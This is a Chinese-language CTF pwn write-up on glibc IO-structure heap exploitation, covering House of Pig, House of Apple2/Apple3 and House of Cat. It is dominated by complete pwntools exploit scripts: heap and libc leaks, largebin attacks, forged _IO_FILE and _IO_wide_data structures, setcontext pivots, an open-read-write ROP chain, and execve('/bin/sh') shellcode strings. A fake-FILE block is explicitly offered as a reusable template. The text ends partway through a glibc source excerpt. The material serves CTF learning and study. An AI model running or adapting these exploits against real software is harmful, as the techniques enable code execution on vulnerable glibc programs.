sl = lambda data :sh.sendline(data)
sla = lambda text, data :sh.sendlineafter(text, data)
r = lambda num :sh.recv(num)
ru = lambda text :sh.recvuntil(text)
uu32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#------------------------------------------------------------------------------------------------------#
def add(size, content):
sla('> ', b'1')
sla('Size: ', str(size))
sla('Content: ', content)
def edit(idx, content):
sla('> ', b'3')
sla('Idx: ', str(idx))
sla('Content: ', content)
def show(idx):
sla('> ', b'4')
sla('Idx: ', str(idx))
def delete(idx):
sla('> ', b'2')
sla('Idx: ', str(idx))
# make overlapping
add(0x438, b'pursue') # 0
add(0x408, b'pursue') # 1
add(0x448, b'pursue') # 2
add(0x418, b'pursue') # 3
add(0x418, b'pursue') # 4
add(0x408, b'pursue') # 5
add(0x408, b'pursue') # 6
add(0xca1, b'pursue') # 7
delete(0)
delete(3)
# leak heap
add(0x438, b'pursue') # 0
add(0x408, b'pursue') # 3
delete(1)
show(3)
ru('Note3:\n')
key = u64(r(5).ljust(8, b'\x00'))
heap_base = key << 12
lg('heap_base')
# leak libc
show(2)
libc_base = uu64() - 0x219ce0
io_list_all = libc_base + 0x21a680
io_str_jumps = libc_base + 0x2166c0
system = libc_base + 0x50d60
memcpy_got = libc_base + 0x219160
memset = libc_base + libc.sym['memset']
lg('libc_base')
lg('memcpy_got')
lg('memset')
# largebin_attack
add(0x448, b'pursue') # 1
delete(4)
add(0x838, b'pursue') # 4
delete(2)
add(0x1000, b'pursue') # 2
pld = p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0xb90)
pld += p64(io_list_all - 0x20)
edit(1, pld)
delete(0)
add(0x1000, b'pursue') # 0
delete(0)
add(0x438, b'pursue') # 0
# -----------house of pig----------- #
# free tcache_struct(size = 0x290) to tcache
new_size = 0x408
copy_heap_addr = heap_base + 0x10 # tcache_struct
next_chain = heap_base + 0x2d00 - 0x10
old_blen = (new_size - 100) // 2
fake_IO_FILE1 = p64(0) * 2
fake_IO_FILE1 += p64(0) # _IO_write_base = 0
fake_IO_FILE1 += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE1 += p64(0)
fake_IO_FILE1 += p64(copy_heap_addr) # _IO_buf_base
fake_IO_FILE1 += p64(copy_heap_addr + old_blen) # _IO_buf_end
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x58, b'\x00')
fake_IO_FILE1 += p64(next_chain) # _chain
fake_IO_FILE1 = fake_IO_FILE1.ljust(0x78, b'\x00')
fake_IO_FILE1 += p64(heap_base) # _lock = writable address
fake_IO_FILE1 = fake_IO_FILE1.ljust(0xB0, b'\x00')
fake_IO_FILE1 += p64(0) # _mode = 0
fake_IO_FILE1 = fake_IO_FILE1.ljust(0xC8, b'\x00')
fake_IO_FILE1 += p64(io_str_jumps) # vtable
# modify tcache_stryct
new_size = 0x288
copy_heap_addr = heap_base + 0x790 # data to modify tcache_stryct
next_chain = heap_base + 0x2dd0 - 0x10
old_blen = (new_size - 100) // 2
fake_IO_FILE2 = p64(0) * 2
fake_IO_FILE2 += p64(0) # _IO_write_base = 0
fake_IO_FILE2 += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE2 += p64(0)
fake_IO_FILE2 += p64(copy_heap_addr) # _IO_buf_base
fake_IO_FILE2 += p64(copy_heap_addr + old_blen) # _IO_buf_end
fake_IO_FILE2 = fake_IO_FILE2.ljust(0x58, b'\x00')
fake_IO_FILE2 += p64(next_chain) # _chain
fake_IO_FILE2 = fake_IO_FILE2.ljust(0x78, b'\x00')
fake_IO_FILE2 += p64(heap_base) # _lock = writable address
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xB0, b'\x00')
fake_IO_FILE2 += p64(0) # _mode = 0
fake_IO_FILE2 = fake_IO_FILE2.ljust(0xC8, b'\x00')
fake_IO_FILE2 += p64(io_str_jumps) # vtable
# modify memcpy@got -> system
new_size = 0x128
copy_heap_addr = heap_base + 0x1830
next_chain = heap_base + 0x2e90
old_blen = (new_size - 100) // 2
fake_IO_FILE3 = p64(0) * 2
fake_IO_FILE3 += p64(0) # _IO_write_base = 0
fake_IO_FILE3 += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE3 += p64(0)
fake_IO_FILE3 += p64(copy_heap_addr) # _IO_buf_base
fake_IO_FILE3 += p64(copy_heap_addr + old_blen) # _IO_buf_end
fake_IO_FILE3 = fake_IO_FILE3.ljust(0x58, b'\x00')
fake_IO_FILE3 += p64(next_chain) # _chain
fake_IO_FILE3 = fake_IO_FILE3.ljust(0x78, b'\x00')
fake_IO_FILE3 += p64(heap_base) # _lock = writable address
fake_IO_FILE3 = fake_IO_FILE3.ljust(0xB0, b'\x00')
fake_IO_FILE3 += p64(0) # _mode = 0
fake_IO_FILE3 = fake_IO_FILE3.ljust(0xC8, b'\x00')
fake_IO_FILE3 += p64(io_str_jumps) # vtable
# pwn
new_size = 0x108
copy_heap_addr = heap_base
next_chain = 0
old_blen = (new_size - 100) // 2
fake_IO_FILE4 = p64(0) * 2
fake_IO_FILE4 += p64(0) # _IO_write_base = 0
fake_IO_FILE4 += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE4 += p64(0)
fake_IO_FILE4 += p64(copy_heap_addr) # _IO_buf_base
fake_IO_FILE4 += p64(copy_heap_addr + old_blen) # _IO_buf_end
fake_IO_FILE4 = fake_IO_FILE4.ljust(0x58, b'\x00')
fake_IO_FILE4 += p64(next_chain) # _chain
fake_IO_FILE4 = fake_IO_FILE4.ljust(0x78, b'\x00')
fake_IO_FILE4 += p64(heap_base) # _lock = writable address
fake_IO_FILE4 = fake_IO_FILE4.ljust(0xB0, b'\x00')
fake_IO_FILE4 += p64(0) # _mode = 0
fake_IO_FILE4 = fake_IO_FILE4.ljust(0xC8, b'\x00')
fake_IO_FILE4 += p64(io_str_jumps) # vtable
edit(3, p16(1) * 0x20 + p64(memcpy_got - 0x10) * 0x30) # tcache struct
edit(1, fake_IO_FILE1)
edit(2, fake_IO_FILE2 + fake_IO_FILE3 + fake_IO_FILE4)
edit(5, b'/bin/sh\x00' * 2 + p64(system) + b'\x00' * 0x20 + p64(memset))
delete(6)
sla('> ', b'5')
sh.interactive()
House_Of_Apple2
参考文章:[原创] House of apple 一种新的glibc中IO攻击方法 (2)-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
利用原理
主要是利用FILE结构体中的_wide_data
成员和_IO_wfile_jumps
中的函数
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)
const struct _IO_jump_t _IO_wfile_jumps_mmap libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow_mmap),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf_mmap),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close_mmap),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
利用_IO_wfile_overflow
函数
先看一下相关源码:
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ // 绕过检查
// #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) // 绕过检查进入函数
// #define _IO_CURRENTLY_PUTTING 0x0800
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0) // 绕过检查进入函数
{
_IO_wdoallocbuf (f); // 利用点
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
......
}
}
}
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base) // 绕过检查
return;
if (!(fp->_flags & _IO_UNBUFFERED)) // 绕过检查
// #define _IO_UNBUFFERED 0x0002
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // 利用点
// 总结下来就是 *(fp->_wide_data->_wide_vtable + 0x68)(fp)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
核心利用点和绕过都总结如下:
fp->_flags 设置为0即可
fp->_wide_data->_IO_write_base == NULL
fp->_wide_data->_IO_buf_base == NULL
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
调用链:_IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
利用_IO_wfile_underflow_mmap
函数
先看一下相关源码:
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) // 绕过检查
// #define _IO_NO_READS 0x0004 /* Reading not allowed. */
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) // 绕过检查
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF) // 绕过检查
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;
/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
if (fp->_wide_data->_IO_buf_base == NULL) // 绕过检查进入函数
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL) // 视情况绕过
{
free (fp->_wide_data->_IO_save_base); // 存在free可利用
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp); // 关键函数
}
......
}
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base) // 绕过检查
return;
if (!(fp->_flags & _IO_UNBUFFERED)) // 绕过检查
// #define _IO_UNBUFFERED 0x0002
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // 利用点
// 总结下来就是 *(fp->_wide_data->_wide_vtable + 0x68)(fp)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
核心利用点和绕过都总结如下:
fp->_flags 设置为0即可
fp->_IO_read_ptr < fp->_IO_read_end
fp->_wide_data->_IO_buf_base == NULL
fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
视情况选择:
- fp->_wide_data->_IO_save_base == NULL
- free (fp->_wide_data->_IO_save_base) -> fp->_wide_data->_IO_save_base 合法被free的地址
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
调用链:_IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
house_of_cat(强网2022)
2.35的堆题,在正式进入堆操作之前有个检查,稍微逆一下就可以出来了,程序只有两次edit的机会,没有退出和main函数返回,所以我们只能通过断言触发IO漏洞,那么两次的edit分别将用于laregbin_attack和修改top_chunk的size。
程序开启了一个特别的sandbox,分析下来在进行read的时候fd要是0才能绕过沙盒,所以我们在open之前可以先close(0)
,如下:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0d 0xffffffff if (A != 0xffffffff) goto 0018
0005: 0x15 0x0b 0x00 0x0000013e if (A == getrandom) goto 0017
0006: 0x15 0x0a 0x00 0x00000002 if (A == open) goto 0017
0007: 0x15 0x09 0x00 0x00000003 if (A == close) goto 0017
0008: 0x15 0x08 0x00 0x00000009 if (A == mmap) goto 0017
0009: 0x15 0x07 0x00 0x0000000c if (A == brk) goto 0017
0010: 0x15 0x06 0x00 0x000000e7 if (A == exit_group) goto 0017
0011: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0016
0012: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0013: 0x15 0x00 0x04 0x00000000 if (A != 0x0) goto 0018
0014: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0015: 0x15 0x01 0x02 0x00000000 if (A == 0x0) goto 0017 else goto 0018
0016: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL
这里用的是_IO_wfile_overflow
函数,通过调试发现在执行到setcontext + 61
的时候,rdx寄存器保存着我们伪造的_IO_wide_data
结构体的首地址,而采用_IO_wfile_underflow_mmap
函数执行到setcontext + 61
的时候,rdx寄存器只保存了chunk的size,可能需要我们利用一些通用的gadget来纠正rdx的值,所以会比较麻烦。
还有一点,为什么这里要采用IO_wfile_jumps - 0x20
呢?因为原本程序是调用xsputn
去打印断言信息,且其和_IO_wfile_overflow
函数相距0x20字节,所以这样修改偏移,如果希望调用_IO_wfile_underflow_mmap
那么只需要将偏移修改成0x18就好。
把IO构造的部分拿出来可以当作模板:
# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * 0x78
fake_file1 += p64(heap_base) # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x100) # _wide_data
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps - 0x20) # vtable
fake_file1 = fake_file1.ljust(0x100 - 0x10, b'\x00')
fake_wide = b'\x00' * 0x68
fake_wide += p64(setcontext_61) # _wide_vtable + 0x68
fake_wide = fake_wide.ljust(0xa0, b'\x00')
fake_wide += p64(heap_base + 0x1c90) # rsp -> orw_addr
fake_wide += p64(p_rdi_r + 1) # rip -> ret
fake_wide = fake_wide.ljust(0xe0, b'\x00')
fake_wide += p64(heap_base + 0x290 + 0x100) # _wide_vtable
fake_file1 += fake_wide
WP如下:
#encoding = utf-8
from pwn import *
from LibcSearcher import *
# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(os = 'linux', arch = 'amd64')
local = 2
if local == 1 :
sh = process([b"./ld.so", b"./pwn"], env = {"LD_PRELOAD" : b"./libc.so.6"})
elif local == 2 :
sh = process("./house_of_cat")
else :
sh = remote(ip, port)
elf = ELF('./house_of_cat')
libc = ELF('./libc.so.6')
def dbg():
gdb.attach(sh)
pause()
s = lambda data :sh.send(data)
sa = lambda text, data :sh.sendafter(text, data)
sl = lambda data :sh.sendline(data)
sla = lambda text, data :sh.sendlineafter(text, data)
r = lambda num :sh.recv(num)
ru = lambda text :sh.recvuntil(text)
uu32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda s :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl = lambda s, value :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#------------------------------------------------------------------------------------------------------#
def admin():
pld = 'LOGIN | r00t QWB QWXFadmin'
sa('mew mew mew~~~~~~\n', pld)
def cmd(choice):
pld = 'CAT | r00t QWB QWXF$\xff\xff\xff\xff'
sa('mew mew mew~~~~~~\n', pld)
sla('plz input your cat choice:\n', str(choice))
def add(idx, size, content):
cmd(1)
sla('plz input your cat idx:\n', str(idx))
sla('plz input your cat size:\n', str(size))
sa('plz input your content:\n', content)
def delete(idx):
cmd(2)
sla('plz input your cat idx:\n', str(idx))
def show(idx):
cmd(3)
sla('plz input your cat idx:\n', str(idx))
ru('Context:\n')
def edit(idx, content):
# only twice
cmd(4)
sla('plz input your cat idx:\n', str(idx))
sa('plz input your content:\n', content)
admin()
add(0, 0x418, b'pursue') # 0
add(1, 0x438, b'pursue') # 1
add(2, 0x428, b'pursue') # 2
add(3, 0x468, b'pursue') # 3
delete(2)
add(4, 0x468, b'pursue') # 4
show(2)
libc_base = u64(r(8)) - 0x21a0d0
r(8)
heap_base = u64(r(8)) - 0xaf0
lg('libc_base')
lg('heap_base')
IO_wfile_jumps = libc_base + 0x2160c0
setcontext_61 = libc_base + 0x53a30 + 61
p_rdi_r = libc_base + 0x000000000002a3e5
p_rsi_r = libc_base + 0x000000000002be51
p_rdx_r12_r = libc_base + 0x000000000011f497
p_rax_r = libc_base + 0x0000000000045eb0
syscall_r = libc_base + 0x0000000000091396
lg('setcontext_61')
# _flags = prev_size = 0
# _IO_read_ptr
fake_file1 = b'\x00' * 0x78
fake_file1 += p64(heap_base) # _lock
fake_file1 = fake_file1.ljust(0x90, b'\x00')
fake_file1 += p64(heap_base + 0x290 + 0x100) # _wide_data
fake_file1 = fake_file1.ljust(0xc8, b'\x00')
fake_file1 += p64(IO_wfile_jumps - 0x20) # vtable
fake_file1 = fake_file1.ljust(0x100 - 0x10, b'\x00')
fake_wide = b'\x00' * 0x68
fake_wide += p64(setcontext_61) # _wide_vtable + 0x68
fake_wide = fake_wide.ljust(0xa0, b'\x00')
fake_wide += p64(heap_base + 0x1c90) # rsp -> orw_addr
fake_wide += p64(p_rdi_r + 1) # rip -> ret
fake_wide = fake_wide.ljust(0xe0, b'\x00')
fake_wide += p64(heap_base + 0x290 + 0x100) # _wide_vtable
fake_file1 += fake_wide
delete(0)
add(5, 0x418, fake_file1)
add(6, 0x458, b'pursue') # 6
add(7, 0x468, b'pursue') # 7
add(8, 0x468, b'pursue') # 8
delete(5)
delete(6)
delete(7)
delete(8)
pld = p64(libc_base + 0x21a0d0) * 2
pld += p64(heap_base + 0xaf0)
pld += p64(libc_base + libc.sym['stderr'] - 0x20) # bk_nextsize
edit(2, pld)
add(9, 0x468, b'pursue') # largebin_attack
orw = p64(0) * 2
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(3)
orw += p64(syscall_r) # close
orw += p64(p_rdi_r) + p64(heap_base + 0x1dd0)
orw += p64(p_rsi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0) + p64(0)
orw += p64(p_rax_r) + p64(2)
orw += p64(syscall_r) # open -> fd = 0
orw += p64(p_rdi_r) + p64(0)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(0)
orw += p64(syscall_r) # read
orw += p64(p_rdi_r) + p64(1)
orw += p64(p_rdx_r12_r) + p64(0x30) + p64(0)
orw += p64(p_rsi_r) + p64(heap_base + 0x3000)
orw += p64(p_rax_r) + p64(1)
orw += p64(syscall_r) # write
orw += b'/flag\x00'
add(10, 0x468, orw) # 10
edit(8, p64(0) + p64(0x111)) # change top_chunk.size
cmd(1)
sla('plz input your cat idx:\n', str(0xf))
sla('plz input your cat size:\n', str(0x468))
sh.interactive()
House_Of_Apple3
利用原理
主要是利用FILE结构体中的_codecvt
成员和_IO_wfile_jumps
中的函数,主要的调用链如下所示:_IO_wfile_underflow -> __libio_codecvt_in -> (fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step)
,或者是利用_IO_wfile_underflow_mmap -> __libio_codecvt_in -> (fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step)
,这里主要给出前者的利用思路。
以下是几个重要的结构体:
struct _IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
typedef struct
{
struct __gconv_step *step;
struct __gconv_step_data step_data;
} _IO_iconv_t;
struct __gconv_step
{
struct __gconv_loaded_object *__shlib_handle; // 注意这个成员
const char *__modname;
/* For internal use by glibc. (Accesses to this member must occur
when the internal __gconv_lock mutex is acquired). */
int __counter;
char *__from_name;
char *__to_name;
__gconv_fct __fct; // 注意这个成员
__gconv_btowc_fct __btowc_fct;
__gconv_init_fct __init_fct;
__gconv_end_fct __end_fct;
/* Information about the number of bytes needed or produced in this
step. This helps optimizing the buffer sizes. */
int __min_needed_from;
int __max_needed_from;
int __min_needed_to;
int __max_needed_to;
/* Flag whether this is a stateful encoding or not. */
int __stateful;
void *__data; /* Pointer to step-local data. */
};
struct __gconv_step_data
{
unsigned char *__outbuf; /* Output buffer for this step. */
unsigned char *__outbufend; /* Address of first byte after the output
buffer. */
/* Is this the last module in the chain. */
int __flags;
/* Counter for number of invocations of the module function for this
descriptor. */
int __invocation_counter;
/* Flag whether this is an internal use of the module (in the mb*towc*
and wc*tomb* functions) or regular with iconv(3). */
int __internal_use;
__mbstate_t *__statep;
__mbstate_t __state; /* This element must not be used directly by
any module; always use STATEP! */
};
主要函数的源码如下所示:
wint_t
_IO_wfile_underflow (FILE *fp)
{
struct _IO_codecvt *cd;
enum __codecvt_result status;
ssize_t count;
/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN) // 绕过检查
return WEOF;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) // 绕过检查
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) // 绕过检查
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr < fp->_IO_read_end) // 绕过检查,进入以下语句块
{
/* There is more in the external. Convert it. */
const char *read_stop = (const char *) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
fp->_wide_data->_IO_buf_base;
status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state, // 进入目标函数
fp->_IO_read_ptr, fp->_IO_read_end,
&read_stop,
fp->_wide_data->_IO_read_ptr,
fp->_wide_data->_IO_buf_end,
&fp->_wide_data->_IO_read_end);
fp->_IO_read_base = fp->_IO_read_ptr;
fp->_IO_read_ptr = (char *) read_stop;
......
}
}
enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const char *from_start, const char *from_end,
const char **from_stop,
wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
enum __codecvt_result result;
struct __gconv_step *gs = codecvt->__cd_in.step;
int status;
size_t dummy;
const unsigned char *from_start_copy = (unsigned char *) from_start;
codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start;
codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end;
codecvt->__cd_in.step_data.__statep = statep;
__gconv_fct fct = gs->__fct;
#ifdef PTR_DEMANGLE
if (gs->__shlib_handle != NULL) // 绕过检查
PTR_DEMANGLE (fct);
#endif
// # define DL_CALL_FCT(fctp, args) (_dl_mcount_wrapper_check ((void *) (fctp)), (*(fctp)) args)
status = DL_CALL_FCT (fct,
(gs, &codecvt->__cd_in.step_data, &from_start_copy,
(const unsigned char *) from_end, NULL,
&dummy, 0, 0));
......
// 利用点
// fct(gs) -> *(gs->__fct)(gs) -> *(codecvt->__cd_in.step->__fct)(codecvt->__cd_in.step) ->
// *(fp->_codecvt->__cd_in.step->__fct)(fp->_codecvt->__cd_in.step)
}
House_Of_Cat
利用原理
利用是_IO_wfile_jumps
跳表中的_IO_wfile_seekoff
函数,相关源码如下:
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
}
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
/* Short-circuit into a separate function. We don't want to mix any
